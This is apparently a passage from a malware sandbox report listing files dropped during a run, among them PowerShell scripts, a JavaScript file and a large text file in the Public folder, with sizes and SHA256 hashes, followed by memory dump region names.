            • SHA256 3bc168805af760e05e39ba4e5990ed4f5db3f81754e5a82da12ca31b76d6664a
            • MD5 SHA1 SHA512 TLSH

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 0efbc3f52be05589456c88ee60a6634821ebc8e3ccbbddff61852e730274a07d
            • MD5 SHA1 SHA512 TLSH

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 62KB
            • SHA256 4dc468fa1a871b65e797ba5bc083d32ba8e6eebb29773718cc281a7753f2d99f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 61KB
            • SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 356061c3465ca4897bb4848fc68ab931d2eca5b37a8f8180f709417ea992622a
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 1081c6b484e3ce0572ea539029bc598ee7870cf099c5585bd52fbeee220c56b7
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 aa9dd72516a56299ad91f481ff7ba9775e1783ffbd592b821dcf882a6fc49d8d
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 76f8d257e3e90321210613610a2f48d24b8aa20b2eb97627b027c9fd0763171d
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 c14f1415460e50b0c815ac0823cebc8126c640c5e7295c8baa36df5ba96c2cb4
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 978171a67ce617012e222795f8f5c85ce6017fcc64500065136c7deb6e88197b
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 f4c24f6eff064e44029ec2827d2913396d5c33e35457942916c3934ff4fa19a2
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_kahln35u.ip1.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kahln35u.ip1.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            mlqnl.txt

            • Path C:\Users\Public\mlqnl.txt
            • Size 16.5MB
            • SHA256 5587dc691382bdf41ff51a91cb2b656c6ad5a67fe7832951c9108a747c58153b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            mpbqd_01.ps1

            • Path C:\Users\Public\mpbqd_01.ps1
            • Size 1KB
            • SHA256 a46654984dac7e8f4a0859bcfbd616185498b77c41ff3da976f843a28ee2b254
            • MD5 SHA1 SHA512 TLSH

            mrmsc.ps1

            • Path C:\Users\Public\mrmsc.ps1
            • Size 5KB
            • SHA256 3d7b936374552f5785943ccb2f5048797e1c178f8df3d422f5cbcff6ed74d4b1
            • MD5 SHA1 SHA512 SSDEEP TLSH

            vtczg.js

            • Path C:\Users\Public\vtczg.js
            • Size 41KB
            • SHA256 76f86c7176b7d4df360bdcaf40864f40b148f841f95cd290ec017a7210a8a0ca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            yxhpf.txt

            • Path \??\c:\users\public\yxhpf.txt
            • Size 123B
            • SHA256 8862bfb6ad204f8507959343e7dc828e6cb4a6495e96ef5feeb67784ffd375bf
            • MD5 SHA1 SHA512 TLSH

            memory/936-109-0x000002BFF98B0000-0x000002BFF9B4C000-memory.dmp

            memory/1400-48-0x00000224A71B0000-0x00000224A7263000-memory.dmp

            memory/1400-50-0x00000224A6F80000-0x00000224A6F90000-memory.dmp

            memory/1400-47-0x00000224A6F50000-0x00000224A6F6C000-memory.dmp

            memory/1400-49-0x00000224A6F70000-0x00000224A6F7A000-memory.dmp

            memory/1400-51-0x00000224A74E0000-0x00000224A74FA000-memory.dmp

            memory/1800-114-0x0000000005850000-0x00000000058B6000-memory.dmp

            memory/1800-111-0x0000000000400000-0x000000000049A000-memory.dmp

            memory/1800-113-0x0000000005630000-0x00000000056EE000-memory.dmp

            memory/1800-112-0x00000000054E0000-0x0000000005530000-memory.dmp

            memory/2324-72-0x000001CACEA10000-0x000001CACEA18000-memory.dmp

            memory/2324-69-0x000001CACEA20000-0x000001CACEA3C000-memory.dmp

            memory/2324-71-0x000001CACEA60000-0x000001CACEA7A000-memory.dmp

            memory/2324-70-0x000001CACEA00000-0x000001CACEA0A000-memory.dmp

            memory/2324-74-0x000001CACEA50000-0x000001CACEA5A000-memory.dmp

            memory/2324-73-0x000001CACEA40000-0x000001CACEA46000-memory.dmp

            memory/4076-124-0x0000013C56450000-0x0000013C56496000-memory.dmp

            memory/4536-7-0x0000027E79BC0000-0x0000027E79BE2000-memory.dmp

            memory/4716-34-0x000001E3C3370000-0x000001E3C3371000-memory.dmp

            memory/4716-33-0x000001E3C3720000-0x000001E3C39D6000-memory.dmp